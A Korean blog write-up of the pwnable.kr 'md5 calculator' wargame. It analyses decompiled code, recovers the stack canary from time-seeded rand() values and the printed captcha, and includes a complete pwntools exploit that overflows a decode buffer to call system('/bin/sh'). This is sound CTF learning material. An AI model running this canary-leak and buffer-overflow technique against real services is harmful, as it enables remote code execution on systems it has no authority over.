tmxklab

[pwnable.kr] md5 calculator 본문

War Game/pwnable.kr

[pwnable.kr] md5 calculator

tmxk4221 2021. 1. 15. 09:31

1. 문제확인


We made a simple MD5 calculator as a network service.
Find a bug and exploit it to get a shell.

Download : http://pwnable.kr/bin/hash
hint : this service shares the same machine with pwnable.kr web service

Running at : nc pwnable.kr 9002
  • 네트워크 서비스로 간단한 MD5 계산기를 만들었으니 버그 찾아서 익스플로잇 해보라고 한다.

1) mitiagation 확인

2) 문제 확인

  • libcrypto.so.1.0.0 이 없어서 실행이 안되는듯, 설치 ㄱㄱ
  • 아마도 64bit용 libssl1.0.0 라이브러리는 있는데 32bit꺼가 없어서 그런듯
sudo apt-get install libssl1.0.0:i386
  • 이제 실행이 잘되고 입력 값을 한 번 받고 끝난다.

3) 코드흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int seed; // eax
  int input; // [esp+18h] [ebp-8h]
  int hash; // [esp+1Ch] [ebp-4h]

  setvbuf(stdout, 0, 1, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("- Welcome to the free MD5 calculating service -");
  seed = time(0);
  srand(seed);
  hash = my_hash();
  printf("Are you human? input captcha : %d\n", hash);
  __isoc99_scanf("%d", &input);
  if ( hash != input )
  {
    puts("wrong captcha!");
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}
  • seed값을 설정하고 입력 값을 받는다. 그리고 입력 값이 hash값과 같지 않으면 exit()를 호출하고 종료
  • if문을 통과하게 된다면 process_hash()를 호출

3-2) my_hash()

int my_hash()
{
  signed int i; // [esp+0h] [ebp-38h]
  char v2[4]; // [esp+Ch] [ebp-2Ch]
  int v3; // [esp+10h] [ebp-28h]
  int v4; // [esp+14h] [ebp-24h]
  int v5; // [esp+18h] [ebp-20h]
  int v6; // [esp+1Ch] [ebp-1Ch]
  int v7; // [esp+20h] [ebp-18h]
  int v8; // [esp+24h] [ebp-14h]
  int v9; // [esp+28h] [ebp-10h]
  unsigned int canary; // [esp+2Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  for ( i = 0; i <= 7; ++i )
    *(_DWORD *)&v2[4 * i] = rand();
  return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}
  • 랜덤 값과 카나리 값을 이용해서 return값을 만든다.
  • 근데 메인 함수에서 리턴 값을 출력해주고 시드 값만 알면은 나머지 랜덤 값도 알 수 있으므로 canary값을 구할 수 있다.
  • canary = hash - v3 - v4 + v5 - v6 - v7 + v8 - v9

3-3) process_hash()

unsigned int process_hash()
{
  int v0; // ST14_4
  void *ptr; // ST18_4
  char v3; // [esp+1Ch] [ebp-20Ch]
  unsigned int v4; // [esp+21Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 )
    ;
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 0x400, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, (int)&v3);
  ptr = (void *)calc_md5(&v3, v0);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return __readgsdword(0x14u) ^ v4;
}
  • 잘 보면 이상한 부분이 존재한다. g_buf는 전역변수로 fgets()를 통해 0x400사이즈만큼 입력을 받는다. 근데 v3에는 0x200사이즈 만큼 memset하고 Base64Decode()를 통해 g_buf에 있는 값을 디코딩해서 v3에 저장한다.
  • bof 취약점 발생하므로 아까 구한 카나리 값을 이용해서 익스하면 될듯하다.

2. 접근 방법


정리하자면 먼저, my_hash()의 리턴 값으로 출력되는 hash값과 랜덤 값을 통해 카나리 값을 구한다. 이후에 process_hash()에서 발생하는 bof취약점을 통해 system("/bin/sh")을 호출하면 된다. (참고로 system함수 주어졋음 ㅎ)

3. 문제 풀이


익스 코드)

from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64

context(log_level="debug", os="linux", arch="i386")
libc = CDLL(find_library("libcrypto.so.1.0.0"))
libc.srand(libc.time(0))

g_buf = 0x804b0e0
#p = process("./hash")
p = remote("pwnable.kr", 9002)
system = ELF("./hash").symbols['system']
#gdb.attach(p)

p.recvuntil(" : ")
rval = [libc.rand() for i in range(8)]
captcha = p.recvuntil("\n")
canary = int(captcha) - rval[1] - rval[2] + rval[3] - rval[4] - rval[5] + rval[6] - rval[7]
canary = canary & 0xffffffff
log.info(hex(canary))

p.send(captcha)

payload = "A"*0x200
payload += p32(canary)
payload += "A"*0xc
payload += p32(system)
payload += "A"*0x4
payload += p32(g_buf+0x2d0)
#payload += "/bin/sh\x00"

payload = base64.encodestring(payload).replace('\n', '')

p.sendlineafter("me!\n", payload + "/bin/sh\x00")

p.interactive()

실행 결과)

4. 몰랐던 개념


'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] otp  (0) 2021.06.07
[pwnable.kr] simple login  (0) 2021.06.07
[pwnable.kr] brain fuck  (0) 2021.01.14
[pwnable.kr] horcruxes  (0) 2020.12.02
[pwnable.kr] blukat  (0) 2020.12.02
Comments